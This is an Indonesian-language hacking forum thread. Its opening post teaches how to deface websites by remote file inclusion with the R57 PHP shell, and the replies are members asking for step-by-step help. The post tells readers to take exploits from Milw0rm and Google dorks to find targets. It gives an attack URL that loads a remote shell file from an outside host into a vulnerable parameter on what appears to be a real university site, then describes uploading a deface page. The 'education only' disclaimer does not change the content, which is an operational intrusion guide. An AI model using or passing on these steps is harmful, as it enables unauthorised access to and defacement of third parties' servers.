Teknik Hacking RFI

BT malam mimgguan gak ama cewek lansung terpikir mau buat tutorial Hacking dengan menggunakan PHP Shell. Da lama gak ngehack, ni atik cuma minta target pa tmn, lagian ini cuma buat edukasi doank. OK.
Ketemu lg dengan Engel bahas tentang cara Deface menggunakan PHP Shell R57 Sekarang kita cari bug (hole/lubang buat kita masuk ke server Target) nya. Klo atik biasanya .Cari di Milw0rm. Cari yang "remote" yak… Why ??? Coz mang kita mo masuk server target melalui remote (tidak melalui server target secara langsung). Cari yang "remote file inclusion" or "multiply remote file inclusion". Klo da dapat,,bagus lah Masukkan dork nya di google or search engine contoh google. Terus ikuti langkah2 yang ada di bugnya. Biasanya sih suruh nambahin ja file inject (R57 dalam kasus ne) di belakang file yang vuln. Contoh : " http://target.com/appserv/main.php?appserv_root=php shell ". appserv/main.php?appserv_root= adalah file yang vuln beserta variablenya, sedangkan PHP Shell adalah script yg skrg ak pake R57 Jangan lupa tambahin "?" (tanda tanya, tanpa petik). Kenapa ?? Karena R57tersebut sebenarnya adalah file PHP yang kita simpan sebagai file "txt".
Contoh : http://tmr.thu.edu.tw//appserv/main.php?appserv_root=http://h1.badwaresite.www/mikmok/shell/r57.txt?

Ok da lihat, pemampilannya. Jalan² dulu lihat isi servernya sapa tau ada yg mantap² trus sebelum itu jgn lupa buat script htmlnya, sebelum di upload. Ok. Dan silakan lihat hasilnya



Kayaknya gitu cara deface menggunakan PHP Shell R57 . Ingat ni cuma edukasi doank alias nambah pengetahuan. Ngedeface OVER itu gak baik, gunakan hacking utk kebaikan ( hacking ibarat pisau, di satu sisi bisa digunakan utk keperluan rumah tangga contoh : dapur , tp di satu sisi bisa melukai org ) Weiss.. file indexnya jangan dirubah atau di delete ya, coz kasian adminnya.

Ok sampe disini pencerahan atik soal Deface.

Thanks to : cliff, animonzter, sacrofia, CR7, M_Negro, Anime, Cokiki, Moon_Lee dan member² UK

mantap bro....

mantap dah,
walaupun banyak istilah yang nda di mengerti

sacrofia wrote:

mantap dah,
walaupun banyak istilah yang nda di mengerti

yang gak ngerti apa mas ?? , sapa tau atik bisa bantu

sacrofia wrote:

mantap dah,
walaupun banyak istilah yang nda di mengerti

iko jo dpe cara2... pasti jadi...

nga nda mangarti lantaran blum coba

cliff wrote:

iko jo dpe cara2... pasti jadi...

nga nda mangarti lantaran blum coba

iya sih

y0ng_en9el wrote:

yang gak ngerti apa mas ?? , sapa tau atik bisa bantu

remote di sini apa artinya, terus yang "remote file inclusion" dan "multiply remote file inclusion" juga.
sebenarnya mo coba sih, tapi bingung langkah pertamanya yang mana . . . !?
bisa di jelaskan lagi nda ( klo perlu pake langkah per langkah)

sacrofia wrote:

remote di sini apa artinya, terus yang "remote file inclusion" dan "multiply remote file inclusion" juga.
sebenarnya mo coba sih, tapi bingung langkah pertamanya yang mana . . . !?
bisa di jelaskan lagi nda ( klo perlu pake langkah per langkah)

Remote file inclusion dapat diartikan sebagai penyisipan sebuah file dari luar suatu file dalam sebuah webserver dengan tujuan script didalam akan dieksekusi pada saat file yang disisipi di-load. ( sebenarnya multiply remote file inclusion sama aja dengan remote file inclusion, beda² tipis kwa )

Langkah pertama, cari exploit & dork, web shell/php shell dan script html << itu yg paling inti dari hacking RFI.
Langkah kedua, buka search engine yang tersedia pada situs²

y0ng_en9el wrote:

Remote file inclusion dapat diartikan sebagai penyisipan sebuah file dari luar suatu file dalam sebuah webserver dengan tujuan script didalam akan dieksekusi pada saat file yang disisipi di-load. ( sebenarnya multiply remote file inclusion sama aja dengan remote file inclusion, beda² tipis kwa )

Langkah pertama, cari exploit & dork, web shell/php shell dan script html << itu yg paling inti dari hacking RFI.
Langkah kedua, buka search engine yang tersedia pada situs²

oh, kirain remote itu maksudnya bisa mengendalikan suatu web

thanks udah ada langkah2nya . . .
but . . .
bagaimana tuh caranya cari exploit & dork, . . .
maap2 masih awam sih

cari aja di milw0rm banyak tuh disitu <<<

jah...kita kira hacking RF!!!!

engell...bilang kata mo kase ajarr pa qt...

bgmanaa eeee.....

moon_lee wrote:

jah...kita kira hacking RF!!!!

engell...bilang kata mo kase ajarr pa qt...

bgmanaa eeee.....

Ohh iyo kote engel lupa... sorry

engel p waktu banyak, klo moon_lee perlu calling/sms pa engel, nanti engel siap menuju ke TKP mo ba ajar p Moon. OK

ditunggu kalow gituuu

bos bolehstou se ajar p kita ini..

aku hanyalah orang bias yang tidak tau apa"

bronkolous wrote:

bos bolehstou se ajar p kita ini..

aku hanyalah orang bias yang tidak tau apa"

Sama² kita belajar pak

oke dang...